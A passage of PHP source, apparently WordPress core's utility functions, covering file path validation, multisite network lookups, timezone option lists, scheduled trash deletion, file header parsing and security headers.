$mods = apache_get_modules();
if ( in_array( $mod, $mods ) ) {
return true;
}
} elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) {
ob_start();
phpinfo( 8 );
$phpinfo = ob_get_clean();
if ( false !== strpos( $phpinfo, $mod ) ) {
return true;
}
}
return $default;
}
/**
* Check if IIS 7+ supports pretty permalinks.
*
* @since 2.8.0
*
* @global bool $is_iis7
*
* @return bool Whether IIS7 supports permalinks.
*/
function iis7_supports_permalinks() {
global $is_iis7;
$supports_permalinks = false;
if ( $is_iis7 ) {
/* First we check if the DOMDocument class exists. If it does not exist, then we cannot
* easily update the xml configuration file, hence we just bail out and tell user that
* pretty permalinks cannot be used.
*
* Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When
* URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
* Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
* via ISAPI then pretty permalinks will not work.
*/
$supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( PHP_SAPI == 'cgi-fcgi' );
}
/**
* Filters whether IIS 7+ supports pretty permalinks.
*
* @since 2.8.0
*
* @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.
*/
return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );
}
/**
* Validates a file name and path against an allowed set of rules.
*
* A return value of `1` means the file path contains directory traversal.
*
* A return value of `2` means the file path contains a Windows drive path.
*
* A return value of `3` means the file is not in the allowed files list.
*
* @since 1.2.0
*
* @param string $file File path.
* @param array $allowed_files Optional. List of allowed files.
* @return int 0 means nothing is wrong, greater than 0 means something was wrong.
*/
function validate_file( $file, $allowed_files = array() ) {
// Normalize path for Windows servers
$file = wp_normalize_path( $file );
// `../` on its own is not allowed:
if ( '../' === $file ) {
return 1;
}
// More than one occurence of `../` is not allowed:
if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) {
return 1;
}
// `../` which does not occur at the end of the path is not allowed:
if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) {
return 1;
}
// Files not in the allowed file list are not allowed:
if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) ) {
return 3;
}
// Absolute Windows drive paths are not allowed:
if ( ':' == substr( $file, 1, 1 ) ) {
return 2;
}
return 0;
}
/**
* Whether to force SSL used for the Administration Screens.
*
* @since 2.6.0
*
* @staticvar bool $forced
*
* @param string|bool $force Optional. Whether to force SSL in admin screens. Default null.
* @return bool True if forced, false if not forced.
*/
function force_ssl_admin( $force = null ) {
static $forced = false;
if ( ! is_null( $force ) ) {
$old_forced = $forced;
$forced = $force;
return $old_forced;
}
return $forced;
}
/**
* Guess the URL for the site.
*
* Will remove wp-admin links to retrieve only return URLs not in the wp-admin
* directory.
*
* @since 2.6.0
*
* @return string The guessed URL.
*/
function wp_guess_url() {
if ( defined( 'WP_SITEURL' ) && '' != WP_SITEURL ) {
$url = WP_SITEURL;
} else {
$abspath_fix = str_replace( '\\', '/', ABSPATH );
$script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );
// The request is for the admin
if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) {
$path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] );
// The request is for a file in ABSPATH
} elseif ( $script_filename_dir . '/' == $abspath_fix ) {
// Strip off any file/query params in the path
$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );
} else {
if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {
// Request is hitting a file inside ABSPATH
$directory = str_replace( ABSPATH, '', $script_filename_dir );
// Strip off the sub directory, and any file/query params
$path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] );
} elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) {
// Request is hitting a file above ABSPATH
$subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );
// Strip off any file/query params from the path, appending the sub directory to the installation
$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory;
} else {
$path = $_SERVER['REQUEST_URI'];
}
}
$schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet
$url = $schema . $_SERVER['HTTP_HOST'] . $path;
}
return rtrim( $url, '/' );
}
/**
* Temporarily suspend cache additions.
*
* Stops more data being added to the cache, but still allows cache retrieval.
* This is useful for actions, such as imports, when a lot of data would otherwise
* be almost uselessly added to the cache.
*
* Suspension lasts for a single page load at most. Remember to call this
* function again if you wish to re-enable cache adds earlier.
*
* @since 3.3.0
*
* @staticvar bool $_suspend
*
* @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
* @return bool The current suspend setting
*/
function wp_suspend_cache_addition( $suspend = null ) {
static $_suspend = false;
if ( is_bool( $suspend ) ) {
$_suspend = $suspend;
}
return $_suspend;
}
/**
* Suspend cache invalidation.
*
* Turns cache invalidation on and off. Useful during imports where you don't want to do
* invalidations every time a post is inserted. Callers must be sure that what they are
* doing won't lead to an inconsistent cache when invalidation is suspended.
*
* @since 2.7.0
*
* @global bool $_wp_suspend_cache_invalidation
*
* @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.
* @return bool The current suspend setting.
*/
function wp_suspend_cache_invalidation( $suspend = true ) {
global $_wp_suspend_cache_invalidation;
$current_suspend = $_wp_suspend_cache_invalidation;
$_wp_suspend_cache_invalidation = $suspend;
return $current_suspend;
}
/**
* Determine whether a site is the main site of the current network.
*
* @since 3.0.0
* @since 4.9.0 The `$network_id` parameter was added.
*
* @param int $site_id Optional. Site ID to test. Defaults to current site.
* @param int $network_id Optional. Network ID of the network to check for.
* Defaults to current network.
* @return bool True if $site_id is the main site of the network, or if not
* running Multisite.
*/
function is_main_site( $site_id = null, $network_id = null ) {
if ( ! is_multisite() ) {
return true;
}
if ( ! $site_id ) {
$site_id = get_current_blog_id();
}
$site_id = (int) $site_id;
return $site_id === get_main_site_id( $network_id );
}
/**
* Gets the main site ID.
*
* @since 4.9.0
*
* @param int $network_id Optional. The ID of the network for which to get the main site.
* Defaults to the current network.
* @return int The ID of the main site.
*/
function get_main_site_id( $network_id = null ) {
if ( ! is_multisite() ) {
return get_current_blog_id();
}
$network = get_network( $network_id );
if ( ! $network ) {
return 0;
}
return $network->site_id;
}
/**
* Determine whether a network is the main network of the Multisite installation.
*
* @since 3.7.0
*
* @param int $network_id Optional. Network ID to test. Defaults to current network.
* @return bool True if $network_id is the main network, or if not running Multisite.
*/
function is_main_network( $network_id = null ) {
if ( ! is_multisite() ) {
return true;
}
if ( null === $network_id ) {
$network_id = get_current_network_id();
}
$network_id = (int) $network_id;
return ( $network_id === get_main_network_id() );
}
/**
* Get the main network ID.
*
* @since 4.3.0
*
* @return int The ID of the main network.
*/
function get_main_network_id() {
if ( ! is_multisite() ) {
return 1;
}
$current_network = get_network();
if ( defined( 'PRIMARY_NETWORK_ID' ) ) {
$main_network_id = PRIMARY_NETWORK_ID;
} elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) {
// If the current network has an ID of 1, assume it is the main network.
$main_network_id = 1;
} else {
$_networks = get_networks(
array(
'fields' => 'ids',
'number' => 1,
)
);
$main_network_id = array_shift( $_networks );
}
/**
* Filters the main network ID.
*
* @since 4.3.0
*
* @param int $main_network_id The ID of the main network.
*/
return (int) apply_filters( 'get_main_network_id', $main_network_id );
}
/**
* Determine whether global terms are enabled.
*
* @since 3.0.0
*
* @staticvar bool $global_terms
*
* @return bool True if multisite and global terms enabled.
*/
function global_terms_enabled() {
if ( ! is_multisite() ) {
return false;
}
static $global_terms = null;
if ( is_null( $global_terms ) ) {
/**
* Filters whether global terms are enabled.
*
* Passing a non-null value to the filter will effectively short-circuit the function,
* returning the value of the 'global_terms_enabled' site option instead.
*
* @since 3.0.0
*
* @param null $enabled Whether global terms are enabled.
*/
$filter = apply_filters( 'global_terms_enabled', null );
if ( ! is_null( $filter ) ) {
$global_terms = (bool) $filter;
} else {
$global_terms = (bool) get_site_option( 'global_terms_enabled', false );
}
}
return $global_terms;
}
/**
* Determines whether site meta is enabled.
*
* This function checks whether the 'blogmeta' database table exists. The result is saved as
* a setting for the main network, making it essentially a global setting. Subsequent requests
* will refer to this setting instead of running the query.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return bool True if site meta is supported, false otherwise.
*/
function is_site_meta_supported() {
global $wpdb;
if ( ! is_multisite() ) {
return false;
}
$network_id = get_main_network_id();
$supported = get_network_option( $network_id, 'site_meta_supported', false );
if ( false === $supported ) {
$supported = $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->blogmeta}'" ) ? 1 : 0;
update_network_option( $network_id, 'site_meta_supported', $supported );
}
return (bool) $supported;
}
/**
* gmt_offset modification for smart timezone handling.
*
* Overrides the gmt_offset option if we have a timezone_string available.
*
* @since 2.8.0
*
* @return float|false Timezone GMT offset, false otherwise.
*/
function wp_timezone_override_offset() {
if ( ! $timezone_string = get_option( 'timezone_string' ) ) {
return false;
}
$timezone_object = timezone_open( $timezone_string );
$datetime_object = date_create();
if ( false === $timezone_object || false === $datetime_object ) {
return false;
}
return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
}
/**
* Sort-helper for timezones.
*
* @since 2.9.0
* @access private
*
* @param array $a
* @param array $b
* @return int
*/
function _wp_timezone_choice_usort_callback( $a, $b ) {
// Don't use translated versions of Etc
if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
// Make the order of these more like the old dropdown
if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {
return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
}
if ( 'UTC' === $a['city'] ) {
if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {
return 1;
}
return -1;
}
if ( 'UTC' === $b['city'] ) {
if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {
return -1;
}
return 1;
}
return strnatcasecmp( $a['city'], $b['city'] );
}
if ( $a['t_continent'] == $b['t_continent'] ) {
if ( $a['t_city'] == $b['t_city'] ) {
return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
}
return strnatcasecmp( $a['t_city'], $b['t_city'] );
} else {
// Force Etc to the bottom of the list
if ( 'Etc' === $a['continent'] ) {
return 1;
}
if ( 'Etc' === $b['continent'] ) {
return -1;
}
return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
}
}
/**
* Gives a nicely-formatted list of timezone strings.
*
* @since 2.9.0
* @since 4.7.0 Added the `$locale` parameter.
*
* @staticvar bool $mo_loaded
* @staticvar string $locale_loaded
*
* @param string $selected_zone Selected timezone.
* @param string $locale Optional. Locale to load the timezones in. Default current site locale.
* @return string
*/
function wp_timezone_choice( $selected_zone, $locale = null ) {
static $mo_loaded = false, $locale_loaded = null;
$continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific' );
// Load translations for continents and cities.
if ( ! $mo_loaded || $locale !== $locale_loaded ) {
$locale_loaded = $locale ? $locale : get_locale();
$mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo';
unload_textdomain( 'continents-cities' );
load_textdomain( 'continents-cities', $mofile );
$mo_loaded = true;
}
$zonen = array();
foreach ( timezone_identifiers_list() as $zone ) {
$zone = explode( '/', $zone );
if ( ! in_array( $zone[0], $continents ) ) {
continue;
}
// This determines what gets set and translated - we don't translate Etc/* strings here, they are done later
$exists = array(
0 => ( isset( $zone[0] ) && $zone[0] ),
1 => ( isset( $zone[1] ) && $zone[1] ),
2 => ( isset( $zone[2] ) && $zone[2] ),
);
$exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
$exists[4] = ( $exists[1] && $exists[3] );
$exists[5] = ( $exists[2] && $exists[3] );
// phpcs:disable WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
$zonen[] = array(
'continent' => ( $exists[0] ? $zone[0] : '' ),
'city' => ( $exists[1] ? $zone[1] : '' ),
'subcity' => ( $exists[2] ? $zone[2] : '' ),
't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' ),
);
// phpcs:enable
}
usort( $zonen, '_wp_timezone_choice_usort_callback' );
$structure = array();
if ( empty( $selected_zone ) ) {
$structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
}
foreach ( $zonen as $key => $zone ) {
// Build value in an array to join later
$value = array( $zone['continent'] );
if ( empty( $zone['city'] ) ) {
// It's at the continent level (generally won't happen)
$display = $zone['t_continent'];
} else {
// It's inside a continent group
// Continent optgroup
if ( ! isset( $zonen[ $key - 1 ] ) || $zonen[ $key - 1 ]['continent'] !== $zone['continent'] ) {
$label = $zone['t_continent'];
$structure[] = '<optgroup label="' . esc_attr( $label ) . '">';
}
// Add the city to the value
$value[] = $zone['city'];
$display = $zone['t_city'];
if ( ! empty( $zone['subcity'] ) ) {
// Add the subcity to the value
$value[] = $zone['subcity'];
$display .= ' - ' . $zone['t_subcity'];
}
}
// Build the value
$value = join( '/', $value );
$selected = '';
if ( $value === $selected_zone ) {
$selected = 'selected="selected" ';
}
$structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . '</option>';
// Close continent optgroup
if ( ! empty( $zone['city'] ) && ( ! isset( $zonen[ $key + 1 ] ) || ( isset( $zonen[ $key + 1 ] ) && $zonen[ $key + 1 ]['continent'] !== $zone['continent'] ) ) ) {
$structure[] = '</optgroup>';
}
}
// Do UTC
$structure[] = '<optgroup label="' . esc_attr__( 'UTC' ) . '">';
$selected = '';
if ( 'UTC' === $selected_zone ) {
$selected = 'selected="selected" ';
}
$structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __( 'UTC' ) . '</option>';
$structure[] = '</optgroup>';
// Do manual UTC offsets
$structure[] = '<optgroup label="' . esc_attr__( 'Manual Offsets' ) . '">';
$offset_range = array(
-12,
-11.5,
-11,
-10.5,
-10,
-9.5,
-9,
-8.5,
-8,
-7.5,
-7,
-6.5,
-6,
-5.5,
-5,
-4.5,
-4,
-3.5,
-3,
-2.5,
-2,
-1.5,
-1,
-0.5,
0,
0.5,
1,
1.5,
2,
2.5,
3,
3.5,
4,
4.5,
5,
5.5,
5.75,
6,
6.5,
7,
7.5,
8,
8.5,
8.75,
9,
9.5,
10,
10.5,
11,
11.5,
12,
12.75,
13,
13.75,
14,
);
foreach ( $offset_range as $offset ) {
if ( 0 <= $offset ) {
$offset_name = '+' . $offset;
} else {
$offset_name = (string) $offset;
}
$offset_value = $offset_name;
$offset_name = str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), $offset_name );
$offset_name = 'UTC' . $offset_name;
$offset_value = 'UTC' . $offset_value;
$selected = '';
if ( $offset_value === $selected_zone ) {
$selected = 'selected="selected" ';
}
$structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . '</option>';
}
$structure[] = '</optgroup>';
return join( "\n", $structure );
}
/**
* Strip close comment and close php tags from file headers used by WP.
*
* @since 2.8.0
* @access private
*
* @see https://core.trac.wordpress.org/ticket/8497
*
* @param string $str Header comment to clean up.
* @return string
*/
function _cleanup_header_comment( $str ) {
return trim( preg_replace( '/\s*(?:\*\/|\?>).*/', '', $str ) );
}
/**
* Permanently delete comments or posts of any type that have held a status
* of 'trash' for the number of days defined in EMPTY_TRASH_DAYS.
*
* The default value of `EMPTY_TRASH_DAYS` is 30 (days).
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function wp_scheduled_delete() {
global $wpdb;
$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
$posts_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A );
foreach ( (array) $posts_to_delete as $post ) {
$post_id = (int) $post['post_id'];
if ( ! $post_id ) {
continue;
}
$del_post = get_post( $post_id );
if ( ! $del_post || 'trash' != $del_post->post_status ) {
delete_post_meta( $post_id, '_wp_trash_meta_status' );
delete_post_meta( $post_id, '_wp_trash_meta_time' );
} else {
wp_delete_post( $post_id );
}
}
$comments_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A );
foreach ( (array) $comments_to_delete as $comment ) {
$comment_id = (int) $comment['comment_id'];
if ( ! $comment_id ) {
continue;
}
$del_comment = get_comment( $comment_id );
if ( ! $del_comment || 'trash' != $del_comment->comment_approved ) {
delete_comment_meta( $comment_id, '_wp_trash_meta_time' );
delete_comment_meta( $comment_id, '_wp_trash_meta_status' );
} else {
wp_delete_comment( $del_comment );
}
}
}
/**
* Retrieve metadata from a file.
*
* Searches for metadata in the first 8kiB of a file, such as a plugin or theme.
* Each piece of metadata must be on its own line. Fields can not span multiple
* lines, the value will get cut at the end of the first line.
*
* If the file data is not within that first 8kiB, then the author should correct
* their plugin file and move the data headers to the top.
*
* @link https://codex.wordpress.org/File_Header
*
* @since 2.9.0
*
* @param string $file Absolute path to the file.
* @param array $default_headers List of headers, in the format `array('HeaderKey' => 'Header Name')`.
* @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}.
* Default empty.
* @return array Array of file headers in `HeaderKey => Header Value` format.
*/
function get_file_data( $file, $default_headers, $context = '' ) {
// We don't need to write to the file, so just open for reading.
$fp = fopen( $file, 'r' );
// Pull only the first 8kiB of the file in.
$file_data = fread( $fp, 8192 );
// PHP will close file handle, but we are good citizens.
fclose( $fp );
// Make sure we catch CR-only line endings.
$file_data = str_replace( "\r", "\n", $file_data );
/**
* Filters extra file headers by context.
*
* The dynamic portion of the hook name, `$context`, refers to
* the context where extra headers might be loaded.
*
* @since 2.9.0
*
* @param array $extra_context_headers Empty array by default.
*/
if ( $context && $extra_headers = apply_filters( "extra_{$context}_headers", array() ) ) {
$extra_headers = array_combine( $extra_headers, $extra_headers ); // keys equal values
$all_headers = array_merge( $extra_headers, (array) $default_headers );
} else {
$all_headers = $default_headers;
}
foreach ( $all_headers as $field => $regex ) {
if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] ) {
$all_headers[ $field ] = _cleanup_header_comment( $match[1] );
} else {
$all_headers[ $field ] = '';
}
}
return $all_headers;
}
/**
* Returns true.
*
* Useful for returning true to filters easily.
*
* @since 3.0.0
*
* @see __return_false()
*
* @return true True.
*/
function __return_true() {
return true;
}
/**
* Returns false.
*
* Useful for returning false to filters easily.
*
* @since 3.0.0
*
* @see __return_true()
*
* @return false False.
*/
function __return_false() {
return false;
}
/**
* Returns 0.
*
* Useful for returning 0 to filters easily.
*
* @since 3.0.0
*
* @return int 0.
*/
function __return_zero() {
return 0;
}
/**
* Returns an empty array.
*
* Useful for returning an empty array to filters easily.
*
* @since 3.0.0
*
* @return array Empty array.
*/
function __return_empty_array() {
return array();
}
/**
* Returns null.
*
* Useful for returning null to filters easily.
*
* @since 3.4.0
*
* @return null Null value.
*/
function __return_null() {
return null;
}
/**
* Returns an empty string.
*
* Useful for returning an empty string to filters easily.
*
* @since 3.7.0
*
* @see __return_null()
*
* @return string Empty string.
*/
function __return_empty_string() {
return '';
}
/**
* Send a HTTP header to disable content type sniffing in browsers which support it.
*
* @since 3.0.0
*
* @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
* @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985
*/
function send_nosniff_header() {
@header( 'X-Content-Type-Options: nosniff' );
}
/**
* Return a MySQL expression for selecting the week number based on the start_of_week option.
*
* @ignore
* @since 3.0.0
*
* @param string $column Database column.
* @return string SQL clause.
*/
function _wp_mysql_week( $column ) {
switch ( $start_of_week = (int) get_option( 'start_of_week' ) ) {
case 1:
return "WEEK( $column, 1 )";
case 2:
case 3:
case 4:
case 5:
case 6:
return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";
case 0:
default:
return "WEEK( $column, 0 )";
}
}
/**
* Find hierarchy loops using a callback function that maps object IDs to parent IDs.
*
* @since 3.1.0
* @access private
*
* @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID.
* @param int $start The ID to start the loop check at.
* @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ).
* Use null to always use $callback
* @param array $callback_args Optional. Additional arguments to send to $callback.
* @return array IDs of all members of loop.
*/
function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {
$override = is_null( $start_parent ) ? array() : array( $start => $start_parent );
if ( ! $arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ) ) {
return array();
}
return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );
}
/**
* Use the "The Tortoise and the Hare" algorithm to detect loops.
*
* For every step of the algorithm, the hare takes two steps and the tortoise one.
* If the hare ever laps the tortoise, there must be a loop.
*
* @since 3.1.0
* @access private
*
* @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID.
* @param int $start The ID to start the loop check at.
* @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback.
* Default empty array.
* @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array.
* @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set
* to true if you already know the given $start is part of a loop (otherwise
* the returned array might include branches). Default false.
* @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if
* $_return_loop
*/
function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
$tortoise = $hare = $evanescent_hare = $start;
$return = array();
// Set evanescent_hare to one past hare
// Increment hare two steps
while (
$tortoise
&&
( $evanescent_hare = isset( $override[ $hare ] ) ? $override[ $hare ] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
&&
( $hare = isset( $override[ $evanescent_hare ] ) ? $override[ $evanescent_hare ] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
) {
if ( $_return_loop ) {
$return[ $tortoise ] = $return[ $evanescent_hare ] = $return[ $hare ] = true;
}
// tortoise got lapped - must be a loop
if ( $tortoise == $evanescent_hare || $tortoise == $hare ) {
return $_return_loop ? $return : $tortoise;
}
// Increment tortoise by one step
$tortoise = isset( $override[ $tortoise ] ) ? $override[ $tortoise ] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
}
return false;
}
/**
* Send a HTTP header to limit rendering of pages to same origin iframes.
*
* @since 3.1.3
*
* @see https://developer.mozilla.org/en/the_x-frame-options_response_header
*/
function send_frame_options_header() {
@header( 'X-Frame-Options: SAMEORIGIN' );
}
/**
* Retrieve a list of protocols to allow in HTML attributes.
*
* @since 3.3.0
* @since 4.3.0 Added 'webcal' to the protocols array.
* @since 4.7.0 Added 'urn' to the protocols array.
*
* @see wp_kses()
* @see esc_url()
*
* @staticvar array $protocols
*
* @return string[] Array of allowed protocols. Defaults to an array containing 'http', 'https',
* 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet',
* 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'. This covers
* all common link protocols, except for 'javascript' which should not be
* allowed for untrusted users.
*/
function wp_allowed_protocols() {
static $protocols = array();
if ( empty( $protocols ) ) {
$protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' );
}
if ( ! did_action( 'wp_loaded' ) ) {
/**
* Filters the list of protocols allowed in HTML attributes.
*
* @since 3.0.0
*
* @param array $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more.
*/
$protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) );
}
return $protocols;
}
/**
* Return a comma-separated string of functions that have been called to get
* to the current point in code.
*
* @since 3.4.0
*
* @see https://core.trac.wordpress.org/ticket/19589
*
* @staticvar array $truncate_paths Array of paths to truncate.
*
* @param string $ignore_class Optional. A class to ignore all function calls within - useful
* when you want to just give info about the callee. Default null.
* @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding
* back to the source of the issue. Default 0.
* @param bool $pretty Optional. Whether or not you want a comma separated string or raw
* array returned. Default true.
* @return string|array Either a string containing a reversed comma separated trace or an array
* of individual calls.
*/
function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {
static $truncate_paths;
if ( version_compare( PHP_VERSION, '5.2.5', '>=' ) ) {
$trace = debug_backtrace( false );
} else {
$trace = debug_backtrace();
}
$caller = array();
$check_class = ! is_null( $ignore_class );
$skip_frames++; // skip this function
if ( ! isset( $truncate_paths ) ) {
$truncate_paths = array(
wp_normalize_path( WP_CONTENT_DIR ),
wp_normalize_path( ABSPATH ),
);
}
foreach ( $trace as $call ) {
if ( $skip_frames > 0 ) {
$skip_frames--;
} elseif ( isset( $call['class'] ) ) {
if ( $check_class && $ignore_class == $call['class'] ) {
continue; // Filter out calls
}
$caller[] = "{$call['class']}{$call['type']}{$call['function']}";
} else {
if ( in_array( $call['function'], array( 'do_action', 'apply_filters', 'do_action_ref_array', 'apply_filters_ref_array' ) ) ) {
$caller[] = "{$call['function']}('{$call['args'][0]}')";
} elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ) ) ) {
$filename = isset( $call['args'][0] ) ? $call['args'][0] : '';
$caller[] = $call['function'] . "('" . str_replace( $truncate_paths, '', wp_normalize_path( $filename ) ) . "')";
} else {
$caller[] = $call['function'];
}
}
}
if ( $pretty ) {
return join( ', ', array_reverse( $caller ) );
} else {
return $caller;
}
}
/**
* Retrieve IDs that are not already present in the cache.
*
* @since 3.4.0
* @access private
*
* @param int[] $object_ids Array of IDs.
* @param string $cache_key The cache bucket to check against.
* @return int[] Array of IDs not present in the cache.
*/
function _get_non_cached_ids( $object_ids, $cache_key ) {
$clean = array();
foreach ( $object_ids as $id ) {
$id = (int) $id;
if ( ! wp_cache_get( $id, $cache_key ) ) {
$clean[] = $id;
}
}
return $clean;
}
/**
* Test if the current device has the capability to upload files.
*
* @since 3.4.0
* @access private
*
* @return bool Whether the device is able to upload files.
*/
function _device_can_upload() {
if ( ! wp_is_mobile() ) {
return true;
}
$ua = $_SERVER['HTTP_USER_AGENT'];
if ( strpos( $ua, 'iPhone' ) !== false
|| strpos( $ua, 'iPad' ) !== false
|| strpos( $ua, 'iPod' ) !== false ) {
return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );
}
return true;
}
/**
* Test if a given path is a stream URL
*
* @since 3.5.0
*
* @param string $path The resource path or URL.
* @return bool True if the path is a stream URL.
*/
function wp_is_stream( $path ) {
$scheme_separator = strpos( $path, '://' );
if ( false === $scheme_separator ) {
// $path isn't a stream
return false;
}
$stream = substr( $path, 0, $scheme_separator );
return in_array( $stream, stream_get_wrappers(), true );
}
/**
* Test if the supplied date is valid for the Gregorian calendar.
*
* @since 3.5.0
*
* @link https://secure.php.net/manual/en/function.checkdate.php
*
* @param int $month Month number.
* @param int $day Day number.
* @param int $year Year number.
* @param string $source_date The date to filter.
* @return bool True if valid date, false if not valid date.
*/
function wp_checkdate( $month, $day, $year, $source_date ) {
/**
* Filters whether the given date is valid for the Gregorian calendar.
*
* @since 3.5.0
*
* @param bool $checkdate Whether the given date is valid.
* @param string $source_date Date to check.
*/
return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date );
}
/**
* Load the auth check for monitoring whether the user is still logged in.
*
* Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
*
* This is disabled for certain screens where a login screen could cause an
* inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used
* for fine-grained control.
*
* @since 3.6.0
*/
function wp_auth_check_load() {
if ( ! is_admin() && ! is_user_logged_in() ) {
return;
}
if ( defined( 'IFRAME_REQUEST' ) ) {
return;
}
$screen = get_current_screen();
$hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' );
$show = ! in_array( $screen->id, $hidden );
/**
* Filters whether to load the authentication check.
*
* Passing a falsey value to the filter will effectively short-circuit
* loading the authentication check.
*
* @since 3.6.0
*
* @param bool $show Whether to load the authentication check.
* @param WP_Screen $screen The current screen object.
*/
if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) {
wp_enqueue_style( 'wp-auth-check' );
wp_enqueue_script( 'wp-auth-check' );
add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 );
add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 );
}
}
/**
* Output the HTML that shows the wp-login dialog when the user is no longer logged in.
